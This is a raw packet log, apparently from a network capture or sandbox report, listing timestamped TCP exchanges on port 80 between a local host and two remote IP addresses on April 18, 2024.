Apr 18, 2024 23:40:05.120582104 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120618105 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120652914 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120659113 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120659113 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120659113 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120688915 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120724916 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120773077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120773077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120773077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120774031 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120810986 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120857954 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120873928 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120874882 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120874882 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120889902 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120906115 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120934963 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120934963 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120934963 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120942116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120979071 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120987892 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.121045113 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.122165918 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.122203112 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.122416973 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.122459888 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.122549057 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.135936975 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.135965109 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.135983944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136034012 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136034012 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136065960 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136085987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136116028 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136133909 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136145115 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136145115 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136152029 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136173964 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136183977 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136183977 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136192083 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136204004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136209011 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136225939 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136233091 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136234045 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136244059 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136255026 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136262894 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136281013 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136282921 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136282921 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136297941 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136303902 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136315107 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136322021 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136332989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136339903 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136359930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136360884 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136379957 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136379957 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136395931 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136411905 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136428118 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136445045 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136444092 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136444092 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136444092 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136462927 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136480093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136481047 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136481047 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136498928 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136508942 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136508942 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136516094 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136528969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136533976 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136548996 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136550903 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136569023 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136569977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136589050 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136598110 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136598110 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136605024 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136616945 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136622906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136636972 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136640072 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136657000 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136657953 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136672974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136682987 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136682987 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136691093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136703968 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136708975 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136724949 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136728048 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136745930 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136751890 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136751890 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136764050 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136771917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136781931 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136790037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136800051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136806965 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136816978 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136826038 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136835098 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136845112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136854887 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136866093 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136893034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136893034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136909962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136928082 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136951923 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136969090 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136969090 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136986017 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.136996984 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.136996984 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137005091 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137020111 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137021065 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137038946 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137041092 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137058020 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137065887 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137065887 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137074947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137087107 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137096882 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137109041 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137116909 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137136936 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137145996 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137146950 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137154102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137171984 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137176991 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137176991 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137190104 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137197018 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137207031 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137213945 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137223959 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137239933 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137264967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137264967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137264967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137265921 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137293100 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137300968 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137320042 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137336969 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137362957 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137377977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137401104 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137415886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137440920 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137453079 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137471914 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137487888 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137515068 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137522936 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137538910 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137558937 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137583971 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137600899 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137625933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137636900 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137650967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137676954 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137696981 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137713909 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137737036 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137749910 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137767076 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137789965 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137820005 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137825966 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137840033 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137862921 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137887001 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137897968 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137933016 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137933016 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.137953997 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.137974024 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138006926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138011932 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138027906 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138048887 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138073921 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138084888 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138094902 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138120890 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138138056 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138159990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138181925 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138197899 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138216019 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138235092 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138251066 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138273001 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138303995 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138309956 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138324976 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138345957 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138381004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138381958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138400078 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138417959 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138439894 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138453007 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138478994 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138489962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138501883 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138528109 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138547897 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138566971 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138590097 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138605118 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138621092 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138644934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138663054 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138680935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138701916 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138716936 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138742924 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138756037 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138781071 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138793945 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138814926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138832092 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138850927 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138868093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138886929 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138902903 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138922930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138938904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138962030 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.138976097 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.138999939 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139014006 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139029026 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139050961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139070034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139087915 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139113903 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139123917 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139133930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139161110 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139177084 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139199018 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139223099 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139235020 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139257908 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139272928 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139292955 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139308929 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139331102 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139347076 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139364004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139384031 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139399052 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139420986 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139439106 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139456987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139492989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139519930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139528036 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139539003 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139564991 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139585018 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139601946 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139617920 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139640093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139662981 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139677048 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139693022 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139715910 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139739037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139751911 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139769077 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139789104 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139825106 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139834881 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139853001 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139861107 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139870882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139900923 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139919043 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.139936924 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.139971972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140007019 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140038013 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140038013 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140038013 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140042067 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140064001 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140079021 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140110016 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140149117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140151978 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140186071 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140203953 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140223026 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140239954 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140259981 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140279055 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140299082 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140322924 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140335083 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140366077 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140373945 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140383959 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140410900 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140428066 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140446901 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.140466928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.140486002 CEST	80	49739	193.233.132.167	192.168.2.4
